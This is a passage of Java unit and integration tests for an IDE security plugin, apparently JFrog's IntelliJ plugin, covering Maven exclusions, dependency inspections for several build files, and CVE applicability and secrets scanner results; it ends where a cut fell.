    "path": "src/test/java/com/jfrog/ide/idea/exclusion/MavenExclusionTest.java",
    "content": "package com.jfrog.ide.idea.exclusion;\n\nimport com.intellij.openapi.command.WriteCommandAction;\nimport com.intellij.psi.PsiElement;\nimport com.intellij.psi.PsiFile;\nimport com.intellij.psi.xml.XmlFile;\nimport com.intellij.psi.xml.XmlTag;\nimport com.intellij.testFramework.fixtures.LightJavaCodeInsightFixtureTestCase;\nimport com.jfrog.ide.idea.TestUtils;\nimport org.jfrog.build.extractor.scan.DependencyTree;\nimport org.jfrog.build.extractor.scan.GeneralInfo;\nimport org.junit.Assert;\n\nimport static com.jfrog.ide.common.utils.Utils.createComponentId;\n\n/**\n * Created by Bar Belity on 10/06/2020.\n */\npublic class MavenExclusionTest extends LightJavaCodeInsightFixtureTestCase {\n\n    PsiFile fileDescriptor;\n    DependencyTree root, one, two, three, four, five;\n\n    @Override\n    public void setUp() throws Exception {\n        super.setUp();\n        initTestingTree();\n        fileDescriptor = myFixture.configureByFile(\"pom.xml\");\n    }\n\n    @Override\n    protected String getTestDataPath() {\n        return \"src/test/resources/exclusion\";\n    }\n\n    private void initTestingTree() {\n        root = new DependencyTree(\"node-root\");\n        one = createDependencyTreeNode(\"1\", \"maven\");\n        two = createDependencyTreeNode(\"2\", \"gradle\");\n        three = createDependencyTreeNode(\"3\", \"maven\");\n        four = createDependencyTreeNode(\"4\", \"maven\");\n        five = createDependencyTreeNode(\"5\", \"maven\");\n        root.add(one); // root -> 1\n        root.add(two); // root -> 2\n        one.add(three); // 1 -> 3\n        two.add(four); // 2 -> 4\n        four.add(five); // 4 -> 5\n    }\n\n    public void testIsMavenPackageType() {\n        Assert.assertTrue(\"isMavenPackageType should be true on \" + one,\n                MavenExclusion.isMavenPackageType(one));\n\n        Assert.assertTrue(\"isMavenPackageType should be true on \" + five,\n                MavenExclusion.isMavenPackageType(five));\n\n        Assert.assertFalse(\"isMavenPackageType should be false on \" + two,\n                MavenExclusion.isMavenPackageType(two));\n\n        Assert.assertFalse(\"isMavenPackageType should be false on \" + root.toString(),\n                MavenExclusion.isMavenPackageType(root));\n\n        Assert.assertFalse(\"isMavenPackageType should be false on \" + root.getParent(),\n                MavenExclusion.isMavenPackageType((DependencyTree) root.getParent()));\n\n        Assert.assertFalse(\"isMavenPackageType should be false on \" + one.getParent(),\n                MavenExclusion.isMavenPackageType((DependencyTree) one.getParent()));\n    }\n\n    public void testIsExcludable() {\n        Assert.assertTrue(\"isExcludable should be true on \" + three + \" and \" + one,\n                MavenExclusion.isExcludable(three, one));\n\n        Assert.assertFalse(\"isExcludable should be false on \" + five + \" and \" + two,\n                MavenExclusion.isExcludable(five, two));\n\n        Assert.assertFalse(\"isExcludable should be false on \" + one + \" and \" + one,\n                MavenExclusion.isExcludable(two, two));\n    }\n\n    public void testExclusionExists() {\n        ExclusionTestCase existingExclusion = new ExclusionTestCase(696, \"group-id-3\", \"artifact-id-3\");\n        ExclusionTestCase nonExistingExclusion = new ExclusionTestCase(696, \"group-id-4\", \"artifact-id-4\");\n\n        // Test exclusions of dependency 'group-id-2', 'artifact-id-2'.\n        MavenExclusion exclusion = new MavenExclusion(null, null);\n        PsiElement element = TestUtils.getNonLeafElement(fileDescriptor, XmlTag.class, existingExclusion.offset);\n        Assert.assertTrue(\"Found element should be of type XmlTag\", element instanceof XmlTag);\n        XmlTag exclusionsTag = ((XmlTag) element).findFirstSubTag(MavenExclusion.MAVEN_EXCLUSIONS_TAG);\n        assertNotNull(exclusionsTag);\n        XmlTag[] allExclusions = exclusionsTag.findSubTags(MavenExclusion.MAVEN_EXCLUSION_TAG);\n\n        // Look for exclusion of existingExclusion.\n        Assert.assertTrue(\n                String.format(\"exclusionExists should be true for group-id: %s, artifact-id: %s for dependency:\\n%s\",\n                        existingExclusion.groupId, existingExclusion.artifactId, element.getText()),\n                exclusion.exclusionExists(allExclusions, existingExclusion.groupId, existingExclusion.artifactId));\n\n        // Look for exclusion nonExistingExclusion.\n        Assert.assertFalse(\n                String.format(\"exclusionExists should be false for group-id: %s, artifact-id: %s for dependency:\\n%s\",\n                        nonExistingExclusion.groupId, nonExistingExclusion.artifactId, element.getText()),\n                exclusion.exclusionExists(allExclusions, nonExistingExclusion.groupId, nonExistingExclusion.artifactId));\n    }\n\n    public void testCreateAndAddExclusionTags() {\n        ExclusionTestCase exclusionTestCase = new ExclusionTestCase(696, \"group-id-4\", \"artifact-id-4\");\n\n        MavenExclusion exclusion = new MavenExclusion(null, null);\n        PsiElement element = TestUtils.getNonLeafElement(fileDescriptor, XmlTag.class, exclusionTestCase.offset);\n        Assert.assertTrue(\"Found element should be of type XmlTag\", element instanceof XmlTag);\n        XmlTag exclusionsTag = ((XmlTag) element).findFirstSubTag(MavenExclusion.MAVEN_EXCLUSIONS_TAG);\n        assertNotNull(exclusionsTag);\n        XmlTag[] allExclusions = exclusionsTag.findSubTags(MavenExclusion.MAVEN_EXCLUSION_TAG);\n\n        // Look for exclusion of testCase - should not be found.\n        Assert.assertFalse(\n                String.format(\"exclusionExists should be false for group-id: %s, artifact-id: %s for dependency:\\n%s\",\n                        exclusionTestCase.groupId, exclusionTestCase.artifactId, element.getText()),\n                exclusion.exclusionExists(allExclusions, exclusionTestCase.groupId, exclusionTestCase.artifactId));\n\n        // Add exclusion of testCase.\n        XmlFile xmlFileDescriptor = (XmlFile) fileDescriptor;\n        WriteCommandAction.writeCommandAction(xmlFileDescriptor.getProject(), xmlFileDescriptor).run(() ->\n                exclusion.createAndAddExclusionTags(exclusionsTag, exclusionTestCase.groupId, exclusionTestCase.artifactId));\n\n        // Look for exclusion of testCase - should be found.\n        allExclusions = exclusionsTag.findSubTags(MavenExclusion.MAVEN_EXCLUSION_TAG);\n        Assert.assertTrue(\n                String.format(\"exclusionExists should be true for group-id: %s, artifact-id: %s for dependency:\\n%s\",\n                        exclusionTestCase.groupId, exclusionTestCase.artifactId, element.getText()),\n                exclusion.exclusionExists(allExclusions, exclusionTestCase.groupId, exclusionTestCase.artifactId));\n    }\n\n    DependencyTree createDependencyTreeNode(String nodeValue, String pkgType) {\n        DependencyTree node = new DependencyTree(\"node-\" + nodeValue);\n        node.setGeneralInfo(new GeneralInfo().pkgType(pkgType)\n                .componentId(createComponentId(\"group-id-\" + nodeValue, \"artifact-id-\" + nodeValue, \"version-\" + nodeValue)));\n        return node;\n    }\n\n    static class ExclusionTestCase {\n        // Parent dependency offset in pom.xml.\n        private final int offset;\n\n        // Exclusion's group-id.\n        private final String groupId;\n\n        // Exclusion's artifact-id.\n        private final String artifactId;\n\n        ExclusionTestCase(int offset, String groupId, String artifactId) {\n            this.offset = offset;\n            this.groupId = groupId;\n            this.artifactId = artifactId;\n        }\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/inspections/GoInspectionTest.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.goide.vgo.mod.psi.VgoModuleSpec;\n\n/**\n * Created by Bar Belity on 23/02/2020.\n */\npublic class GoInspectionTest extends InspectionsTestBase {\n\n    private static final String PACKAGE_DESCRIPTOR = \"go.mod\";\n    private final InspectionTestDependency[] DEPENDENCIES = {\n            new InspectionTestDependency(54, \"github.com/jfrog/gocmd:0.1.12\"),\n            new InspectionTestDependency(89, \"github.com/jfrog/gofrog:1.0.5\"),\n            new InspectionTestDependency(124, \"github.com/jfrog/gogopowerrangers:1.2.3\")\n    };\n\n    private final int[] NON_DEPENDENCIES_POSITIONS = {176, 202};\n\n    @SuppressWarnings(\"MethodDoesntCallSuperMethod\")\n    @Override\n    public void setUp() throws Exception {\n        super.setUp(new GoInspection(), PACKAGE_DESCRIPTOR, VgoModuleSpec.class);\n    }\n\n    public void testDependencies() {\n        isDependencyTest(DEPENDENCIES);\n    }\n\n    public void testNonDependencies() {\n        isNonDependencyTest(NON_DEPENDENCIES_POSITIONS);\n    }\n\n    public void testCreateGeneralInfo() {\n        createComponentNameTest(DEPENDENCIES);\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/inspections/GradleGroovyInspectionTest.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.intellij.psi.PsiElement;\nimport com.jfrog.ide.idea.TestUtils;\nimport org.jetbrains.plugins.groovy.lang.psi.GroovyPsiElement;\nimport org.jetbrains.plugins.groovy.lang.psi.api.statements.arguments.GrArgumentList;\nimport org.junit.Assert;\n\nimport java.util.List;\n\n/**\n * @author yahavi\n */\npublic class GradleGroovyInspectionTest extends InspectionsTestBase {\n\n    // We are setting 'build.groovy' instead pf 'build.gradle' since the testing FW doesn't identify 'build.gradle'\n    // files as groovy-script.\n    private static final String PACKAGE_DESCRIPTOR = \"build.groovy\";\n    private final InspectionTestDependency[] DEPENDENCIES = {\n            new InspectionTestDependency(96, \"a\", \"b\"),\n            new InspectionTestDependency(139, \"d\", \"e\"),\n            new InspectionTestDependency(180, \"g\", \"h\"),\n            new InspectionTestDependency(200, \"j\", \"k\"),\n            new InspectionTestDependency(225, \"m\", \"n\"),\n            new InspectionTestDependency(320, \"net.lingala.zip4j\", \"zip4j\"),\n            new InspectionTestDependency(390, \"org.codehaus.groovy\", \"groovy-all\"),\n    };\n\n    @SuppressWarnings(\"MethodDoesntCallSuperMethod\")\n    @Override\n    public void setUp() throws Exception {\n        super.setUp(new GradleGroovyInspection(), PACKAGE_DESCRIPTOR, GrArgumentList.class);\n    }\n\n    public void testCreateGeneralInfo() {\n        for (InspectionTestDependency dependency : DEPENDENCIES) {\n            PsiElement element = TestUtils.getNonLeafElement(fileDescriptor, psiClass, dependency.offset);\n            List<GroovyPsiElement> elementsToVisit = ((GradleGroovyInspection) inspection).parseComponentElements((GrArgumentList) element);\n            for (GroovyPsiElement elementToVisit : elementsToVisit) {\n                if (elementToVisit.getText().contains(dependency.groupId)) {\n                    String componentName = inspection.createComponentName(elementToVisit);\n                    Assert.assertNotNull(componentName);\n                    assertEquals(String.join(\":\", dependency.groupId, dependency.artifactId), componentName);\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/inspections/GradleInspectionTest.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.junit.runners.Parameterized;\n\nimport java.util.Arrays;\nimport java.util.Collection;\n\nimport static com.jfrog.ide.idea.inspections.GradleInspection.stripVersion;\nimport static org.junit.Assert.assertEquals;\n\n/**\n * @author yahavi\n **/\n@RunWith(Parameterized.class)\npublic class GradleInspectionTest {\n    private final String componentId;\n    private final String expectedComponentName;\n\n    @Parameterized.Parameters\n    public static Collection<Object[]> data() {\n        return Arrays.asList(new Object[][]{\n                {\"a:b:c\", \"a:b\"},\n                {\"a:b:c:d\", \"a:b\"},\n                {\"a\", \"a\"},\n                {\"xyz\", \"xyz\"}\n        });\n    }\n\n    public GradleInspectionTest(String componentId, String expectedComponentName) {\n        this.componentId = componentId;\n        this.expectedComponentName = expectedComponentName;\n    }\n\n    @Test\n    public void testStripVersion() {\n        assertEquals(expectedComponentName, stripVersion(componentId));\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/inspections/GradleKotlinInspectionTest.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport org.jetbrains.kotlin.psi.KtValueArgumentList;\n\n/**\n * @author yahavi\n */\npublic class GradleKotlinInspectionTest extends InspectionsTestBase {\n\n    // We are setting 'build.groovy' instead pf 'build.gradle' since the testing FW doesn't identify 'build.gradle'\n    // files as groovy-script.\n    private static final String PACKAGE_DESCRIPTOR = \"build.gradle.kts\";\n    private final InspectionTestDependency[] DEPENDENCIES = {\n            new InspectionTestDependency(119, \"a\", \"b\"),\n            new InspectionTestDependency(144, \"d\", \"e\"),\n    };\n\n    private final int[] NON_DEPENDENCIES_POSITIONS = {273, 338};\n\n    @SuppressWarnings(\"MethodDoesntCallSuperMethod\")\n    @Override\n    public void setUp() throws Exception {\n        super.setUp(new GradleKotlinInspection(), PACKAGE_DESCRIPTOR, KtValueArgumentList.class);\n    }\n\n    public void testDependencies() {\n        isDependencyTest(DEPENDENCIES);\n    }\n\n    public void testNonDependencies() {\n        isNonDependencyTest(NON_DEPENDENCIES_POSITIONS);\n    }\n\n    public void testCreateGeneralInfo() {\n        createComponentNameTest(DEPENDENCIES);\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/inspections/InspectionToolsTest.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.intellij.testFramework.fixtures.LightJavaCodeInsightFixtureTestCase;\n\n/**\n * @author michaels\n */\n\npublic class InspectionToolsTest extends LightJavaCodeInsightFixtureTestCase {\n\n    public void testConvertFixVersionStringToMinFixVersion() {\n        assertEquals(\"1.0\", AbstractInspection.convertFixVersionStringToMinFixVersion(\"1.0\"));\n        assertEquals(\"\", AbstractInspection.convertFixVersionStringToMinFixVersion(\"(,1.0]\"));\n        assertEquals(\"\", AbstractInspection.convertFixVersionStringToMinFixVersion(\"(,1.0)\"));\n        assertEquals(\"1.0\", AbstractInspection.convertFixVersionStringToMinFixVersion(\"[1.0]\"));\n        assertEquals(\"\", AbstractInspection.convertFixVersionStringToMinFixVersion(\"(1.0,)\"));\n        assertEquals(\"\", AbstractInspection.convertFixVersionStringToMinFixVersion(\"(1.0, 2.0)\"));\n        assertEquals(\"1.0\", AbstractInspection.convertFixVersionStringToMinFixVersion(\"[1.0, 2.0]\"));\n    }\n}"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/inspections/InspectionsTestBase.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.intellij.psi.PsiElement;\nimport com.intellij.psi.PsiFile;\nimport com.intellij.testFramework.fixtures.LightJavaCodeInsightFixtureTestCase;\nimport com.jfrog.ide.idea.TestUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.junit.Assert;\n\n/**\n * @author yahavi\n */\npublic abstract class InspectionsTestBase extends LightJavaCodeInsightFixtureTestCase {\n\n    PsiFile fileDescriptor;\n    AbstractInspection inspection;\n    Class<? extends PsiElement> psiClass;\n\n    public void setUp(AbstractInspection inspection, String packageDescriptorName, Class<? extends PsiElement> psiClass) throws Exception {\n        super.setUp();\n        this.fileDescriptor = myFixture.configureByFile(packageDescriptorName);\n        this.inspection = inspection;\n        this.psiClass = psiClass;\n    }\n\n    @Override\n    protected String getTestDataPath() {\n        return \"src/test/resources/inspections\";\n    }\n\n    public void isDependencyTest(InspectionTestDependency[] dependencies) {\n        for (InspectionTestDependency dependency : dependencies) {\n            PsiElement element = TestUtils.getNonLeafElement(fileDescriptor, psiClass, dependency.offset);\n            Assert.assertTrue(\"isDependency should be true on \" + element.getText(),\n                    inspection.isDependency(element));\n        }\n    }\n\n    public void isNonDependencyTest(int[] nonDependenciesOffsets) {\n        for (int position : nonDependenciesOffsets) {\n            PsiElement element = TestUtils.getNonLeafElement(fileDescriptor, psiClass, position);\n            Assert.assertFalse(inspection.isDependency(element));\n        }\n    }\n\n    public void createComponentNameTest(InspectionTestDependency[] dependencies) {\n        for (InspectionTestDependency dependency : dependencies) {\n            PsiElement element = TestUtils.getNonLeafElement(fileDescriptor, psiClass, dependency.offset);\n            String componentName = inspection.createComponentName(element);\n            Assert.assertNotNull(componentName);\n            String expectedGroupId = dependency.groupId;\n            String expectedArtifactId = dependency.artifactId;\n            if (StringUtils.isBlank(expectedGroupId)) {\n                assertEquals(expectedArtifactId, componentName);\n            } else {\n                assertEquals(String.join(\":\", expectedGroupId, expectedArtifactId), componentName);\n            }\n        }\n    }\n\n    static class InspectionTestDependency {\n        public final String artifactId;\n        public final int offset;\n        public String groupId;\n\n        public InspectionTestDependency(int offset, String groupId, String artifactId) {\n            this.artifactId = artifactId;\n            this.groupId = groupId;\n            this.offset = offset;\n        }\n\n        public InspectionTestDependency(int offset, String artifactId) {\n            this.artifactId = artifactId;\n            this.offset = offset;\n        }\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/inspections/MavenInspectionTest.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.intellij.psi.xml.XmlTag;\n\n/**\n * @author yahavi\n */\npublic class MavenInspectionTest extends InspectionsTestBase {\n\n    private static final String PACKAGE_DESCRIPTOR = \"pom.xml\";\n    private final InspectionTestDependency[] DEPENDENCIES = {\n            new InspectionTestDependency(550, \"a\", \"b\"),\n            new InspectionTestDependency(788, \"d\", \"e\"),\n            new InspectionTestDependency(990, \"g\", \"h\"),\n    };\n\n    private final int[] NON_DEPENDENCIES_POSITIONS = {397, 1197, 1258};\n\n    @SuppressWarnings(\"MethodDoesntCallSuperMethod\")\n    @Override\n    public void setUp() throws Exception {\n        super.setUp(new MavenInspection(), PACKAGE_DESCRIPTOR, XmlTag.class);\n    }\n\n    public void testDependencies() {\n        isDependencyTest(DEPENDENCIES);\n    }\n\n    public void testNonDependencies() {\n        isNonDependencyTest(NON_DEPENDENCIES_POSITIONS);\n    }\n\n    public void testCreateGeneralInfo() {\n        createComponentNameTest(DEPENDENCIES);\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/inspections/NpmInspectionTest.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.intellij.json.psi.JsonProperty;\n\n/**\n * @author yahavi\n */\npublic class NpmInspectionTest extends InspectionsTestBase {\n\n    private static final String PACKAGE_DESCRIPTOR = \"package.json\";\n    private final InspectionTestDependency[] DEPENDENCIES = {\n            new InspectionTestDependency(67, \"a\"),\n            new InspectionTestDependency(82, \"c\"),\n            new InspectionTestDependency(128, \"a\")\n    };\n\n    private final int[] NON_DEPENDENCIES_POSITIONS = {16, 36};\n\n    @SuppressWarnings(\"MethodDoesntCallSuperMethod\")\n    @Override\n    public void setUp() throws Exception {\n        super.setUp(new NpmInspection(), PACKAGE_DESCRIPTOR, JsonProperty.class);\n    }\n\n    public void testDependencies() {\n        isDependencyTest(DEPENDENCIES);\n    }\n\n    public void testNonDependencies() {\n        isNonDependencyTest(NON_DEPENDENCIES_POSITIONS);\n    }\n\n    public void testCreateGeneralInfo() {\n        createComponentNameTest(DEPENDENCIES);\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/integration/ApplicabilityScannerIntegrationTests.java",
    "content": "package com.jfrog.ide.idea.integration;\n\nimport com.jfrog.ide.common.log.ProgressIndicator;\nimport com.jfrog.ide.common.nodes.subentities.SourceCodeScanType;\nimport com.jfrog.ide.idea.inspections.JFrogSecurityWarning;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.scan.ApplicabilityScannerExecutor;\nimport com.jfrog.ide.idea.scan.data.ScanConfig;\n\nimport java.io.IOException;\nimport java.util.List;\n\nimport static org.mockito.Mockito.mock;\n\npublic class ApplicabilityScannerIntegrationTests extends BaseIntegrationTest {\n    private ApplicabilityScannerExecutor scanner;\n    private final static String TEST_PROJECT_PREFIX = \"sourceCode/testProjects/\";\n\n    @Override\n    protected void setUp() throws Exception {\n        super.setUp();\n        scanner = new ApplicabilityScannerExecutor(Logger.getInstance());\n    }\n\n    public void testApplicabilityScannerJsProjectNotApplicable() throws IOException, InterruptedException {\n        String testProjectRoot = createTempProjectDir(\"npm\");\n        ScanConfig.Builder input = new ScanConfig.Builder().roots(List.of(testProjectRoot)).cves(List.of(\"CVE-2021-3918\", \"CVE-2021-3807\"));\n        ProgressIndicator indicator = mock(ProgressIndicator.class);\n        List<JFrogSecurityWarning> results = scanner.execute(input, this::dummyCheckCanceled, indicator);\n        assertEquals(2, results.size());\n        // Expect all issues to be not applicable to this test project\n        assertFalse(results.stream().anyMatch(JFrogSecurityWarning::isApplicable));\n    }\n\n    public void testApplicabilityScannerJsProject() throws IOException, InterruptedException {\n        String testProjectRoot = createTempProjectDir(\"npm\");\n        ScanConfig.Builder input = new ScanConfig.Builder().roots(List.of(testProjectRoot)).cves(List.of(\"CVE-2022-25878\"));\n        ProgressIndicator indicator = mock(ProgressIndicator.class);\n        List<JFrogSecurityWarning> results = scanner.execute(input, this::dummyCheckCanceled, indicator);\n        assertEquals(2, results.size());\n        // Expect all issues to be applicable.\n        assertTrue(results.stream().allMatch(JFrogSecurityWarning::isApplicable));\n        // Expect specific indications\n        assertEquals(\"protobuf.parse(p)\", results.get(0).getLineSnippet());\n        assertEquals(20, results.get(0).getLineStart());\n        assertEquals(20, results.get(0).getLineEnd());\n        assertEquals(0, results.get(0).getColStart());\n        assertEquals(17, results.get(0).getColEnd());\n        assertTrue(results.get(0).getFilePath().endsWith(\"index.js\"));\n        assertEquals(SourceCodeScanType.CONTEXTUAL, results.get(0).getReporter());\n\n    }\n\n    public void testApplicabilityScannerPythonProjectNotApplicable() throws IOException, InterruptedException {\n        String testProjectRoot = createTempProjectDir(\"python\");\n        ScanConfig.Builder input = new ScanConfig.Builder().roots(List.of(testProjectRoot)).cves(List.of(\"CVE-2021-3918\", \"CVE-2019-15605\"));\n        ProgressIndicator indicator = mock(ProgressIndicator.class);\n        List<JFrogSecurityWarning> results = scanner.execute(input, this::dummyCheckCanceled, indicator);\n        assertEquals(2, results.size());\n        // Expect all issues to be not applicable to this test project\n        assertFalse(results.stream().anyMatch(JFrogSecurityWarning::isApplicable));\n    }\n\n    public void testApplicabilityScannerPythonProject() throws IOException, InterruptedException {\n        String testProjectRoot = createTempProjectDir(\"python\");\n        ScanConfig.Builder input = new ScanConfig.Builder().roots(List.of(testProjectRoot)).cves(List.of(\"CVE-2019-20907\"));\n        ProgressIndicator indicator = mock(ProgressIndicator.class);\n        List<JFrogSecurityWarning> results = scanner.execute(input, this::dummyCheckCanceled, indicator);\n        assertEquals(1, results.size());\n        // Expect specific indications\n        assertTrue(results.get(0).isApplicable());\n        assertEquals(\"tarfile.open(name)\", results.get(0).getLineSnippet());\n        assertEquals(16, results.get(0).getLineStart());\n        assertEquals(16, results.get(0).getLineEnd());\n        assertEquals(6, results.get(0).getColStart());\n        assertEquals(24, results.get(0).getColEnd());\n        assertTrue(results.get(0).getFilePath().endsWith(\"main.py\"));\n        assertEquals(SourceCodeScanType.CONTEXTUAL, results.get(0).getReporter());\n    }\n\n    public void testApplicabilityScannerJavaProject() throws IOException, InterruptedException {\n        String testProjectRoot = createTempProjectDir(\"maven\");\n        ScanConfig.Builder input = new ScanConfig.Builder().roots(List.of(testProjectRoot)).cves(List.of(\"CVE-2013-7285\"));\n        ProgressIndicator indicator = mock(ProgressIndicator.class);\n        List<JFrogSecurityWarning> results = scanner.execute(input, this::dummyCheckCanceled, indicator);\n        assertEquals(2, results.size());\n        // Expect specific indications\n        assertTrue(results.get(0).isApplicable());\n        assertEquals(\"xstream.fromXML(payload)\", results.get(0).getLineSnippet());\n        assertEquals(56, results.get(0).getLineStart());\n        assertEquals(56, results.get(0).getLineEnd());\n        assertEquals(26, results.get(0).getColStart());\n        assertEquals(50, results.get(0).getColEnd());\n        assertTrue(results.get(0).getFilePath().endsWith(\"VulnerableComponentsLesson.java\"));\n        assertEquals(SourceCodeScanType.CONTEXTUAL, results.get(0).getReporter());\n    }\n\n    @Override\n    protected String createTempProjectDir(String projectName) throws IOException {\n        return super.createTempProjectDir(TEST_PROJECT_PREFIX + projectName);\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/integration/BaseIntegrationTest.java",
    "content": "package com.jfrog.ide.idea.integration;\n\nimport com.intellij.testFramework.HeavyPlatformTestCase;\nimport com.jfrog.ide.idea.configuration.GlobalSettings;\nimport com.jfrog.ide.idea.configuration.ServerConfigImpl;\nimport com.jfrog.ide.idea.ui.configuration.ConnectionRetriesSpinner;\nimport com.jfrog.ide.idea.ui.configuration.ConnectionTimeoutSpinner;\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.junit.Assert;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.nio.file.Path;\n\nimport static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.DEFAULT_EXCLUSIONS;\nimport static org.apache.commons.lang3.StringUtils.defaultIfEmpty;\n\npublic abstract class BaseIntegrationTest extends HeavyPlatformTestCase {\n    private static final String ENV_PLATFORM_URL = \"JFROG_IDE_PLATFORM_URL\";\n    private static final String ENV_ACCESS_TOKEN = \"JFROG_IDE_ACCESS_TOKEN\";\n    private static final Path TEST_PROJECT_PATH = new File(\"src/test/resources/\").toPath();\n    protected ServerConfigImpl serverConfig;\n\n    @Override\n    protected void setUp() throws Exception {\n        super.setUp();\n        serverConfig = createServerConfigFromEnv();\n        if (serverConfig != null) {\n            GlobalSettings.getInstance().updateConfig(serverConfig);\n        }\n        // Try to use the loaded config from JFrog CLI.\n        serverConfig = GlobalSettings.getInstance().getServerConfig();\n        // If not configured, fail the setup.\n        if (!serverConfig.isXrayConfigured()) {\n            failSetup();\n        }\n    }\n\n    private ServerConfigImpl createServerConfigFromEnv() {\n        String platformUrl = addSlashIfNeeded(System.getenv(ENV_PLATFORM_URL));\n        String token = System.getenv(ENV_ACCESS_TOKEN);\n        if (StringUtils.isEmpty(platformUrl) || StringUtils.isEmpty(ENV_ACCESS_TOKEN)) {\n            return null;\n        }\n        return createServerConfig(platformUrl, token);\n    }\n\n    private ServerConfigImpl createServerConfig(String platformUrl, String token) {\n        return new ServerConfigImpl.Builder()\n                .setUrl(platformUrl)\n                .setXrayUrl(platformUrl + \"xray\")\n                .setArtifactoryUrl(platformUrl + \"artifactory\")\n                .setAccessToken(token)\n                .setConnectionRetries(ConnectionRetriesSpinner.RANGE.initial)\n                .setConnectionTimeout(ConnectionTimeoutSpinner.RANGE.initial)\n                .setExcludedPaths(DEFAULT_EXCLUSIONS)\n                .build();\n    }\n\n\n    private String addSlashIfNeeded(String paramValue) {\n        return StringUtils.appendIfMissing(paramValue, \"/\");\n    }\n\n    private void failSetup() {\n        String message = String.format(\"Failed to load JFrog Platform credentials.\\nLooking for environment variables %s and %s\\nor installed JFrog CLI with configured server.\", ENV_PLATFORM_URL, ENV_ACCESS_TOKEN);\n        Assert.fail(message);\n    }\n\n    protected String createTempProjectDir(String projectName) throws IOException {\n        String tempProjectDir = getTempDir().createVirtualDir().toNioPath().toString();\n        FileUtils.copyDirectory(TEST_PROJECT_PATH.resolve(projectName).toFile(), new File(tempProjectDir));\n        return tempProjectDir;\n    }\n\n    protected void dummyCheckCanceled() {\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/integration/ExternalResourcesRepoIntegrationTests.java",
    "content": "package com.jfrog.ide.idea.integration;\n\nimport com.jfrog.ide.common.log.ProgressIndicator;\nimport com.jfrog.ide.idea.configuration.GlobalSettings;\nimport com.jfrog.ide.idea.configuration.ServerConfigImpl;\nimport com.jfrog.ide.idea.inspections.JFrogSecurityWarning;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.scan.ScanBinaryExecutor;\nimport com.jfrog.ide.idea.scan.SecretsScannerExecutor;\nimport com.jfrog.ide.idea.scan.data.ScanConfig;\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.mockito.Mockito;\n\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.nio.file.Files;\nimport java.util.List;\n\nimport static org.mockito.Mockito.mock;\n\npublic class ExternalResourcesRepoIntegrationTests extends BaseIntegrationTest {\n    private static final String TEST_PROJECT_PREFIX = \"secrets/testProjects/\";\n    private static final String ENV_EXTERNAL_RESOURCES_REPO = \"JFROG_IDE_TEST_EXTERNAL_RESOURCES_REPO\";\n\n    private SecretsScannerExecutor scanner;\n\n    @Override\n    protected void setUp() throws Exception {\n        super.setUp();\n        scanner = new SecretsScannerExecutor(Logger.getInstance());\n    }\n\n    public void testDownloadScannersFromExternalRepo() throws IOException, InterruptedException {\n        String externalResourcesRepo = System.getenv(ENV_EXTERNAL_RESOURCES_REPO);\n        assertFalse(\"The \" + ENV_EXTERNAL_RESOURCES_REPO + \" environment variable must be set to run this test\", StringUtils.isEmpty(externalResourcesRepo));\n\n        // Save the current ServerConfig and restore it at the end\n        ServerConfigImpl originalServerConfig = GlobalSettings.getInstance().getServerConfig();\n\n        ServerConfigImpl serverConfig = Mockito.spy(GlobalSettings.getInstance().getServerConfig());\n        Mockito.when(serverConfig.getExternalResourcesRepo()).thenReturn(externalResourcesRepo);\n        GlobalSettings.getInstance().setServerConfig(serverConfig);\n        deleteScannersDir();\n        String testProjectRoot = createTempProjectDir(\"exposedSecrets\");\n        ScanConfig.Builder input = new ScanConfig.Builder()\n                .roots(List.of(testProjectRoot));\n\n        ProgressIndicator indicator = mock(ProgressIndicator.class);\n        List<JFrogSecurityWarning> results = scanner.execute(input, this::dummyCheckCanceled, indicator);\n        assertEquals(8, results.size());\n\n        // Restore the original ServerConfig in GlobalSettings\n        GlobalSettings.getInstance().setServerConfig(originalServerConfig);\n    }\n\n    public void testDownloadScannersFromExternalRepoNotExist() throws IOException {\n        // Save the current ServerConfig and restore it at the end\n        ServerConfigImpl originalServerConfig = GlobalSettings.getInstance().getServerConfig();\n\n        ServerConfigImpl serverConfig = Mockito.spy(GlobalSettings.getInstance().getServerConfig());\n        Mockito.when(serverConfig.getExternalResourcesRepo()).thenReturn(\"repo-that-does-not-exist\");\n        GlobalSettings.getInstance().setServerConfig(serverConfig);\n        deleteScannersDir();\n        GlobalSettings.getInstance().reloadMissingConfiguration();\n        String testProjectRoot = createTempProjectDir(\"exposedSecrets\");\n        ScanConfig.Builder input = new ScanConfig.Builder()\n                .roots(List.of(testProjectRoot));\n        ProgressIndicator indicator = mock(ProgressIndicator.class);\n        assertThrows(FileNotFoundException.class, () -> scanner.execute(input, this::dummyCheckCanceled, indicator));\n        // Restore the original ServerConfig in 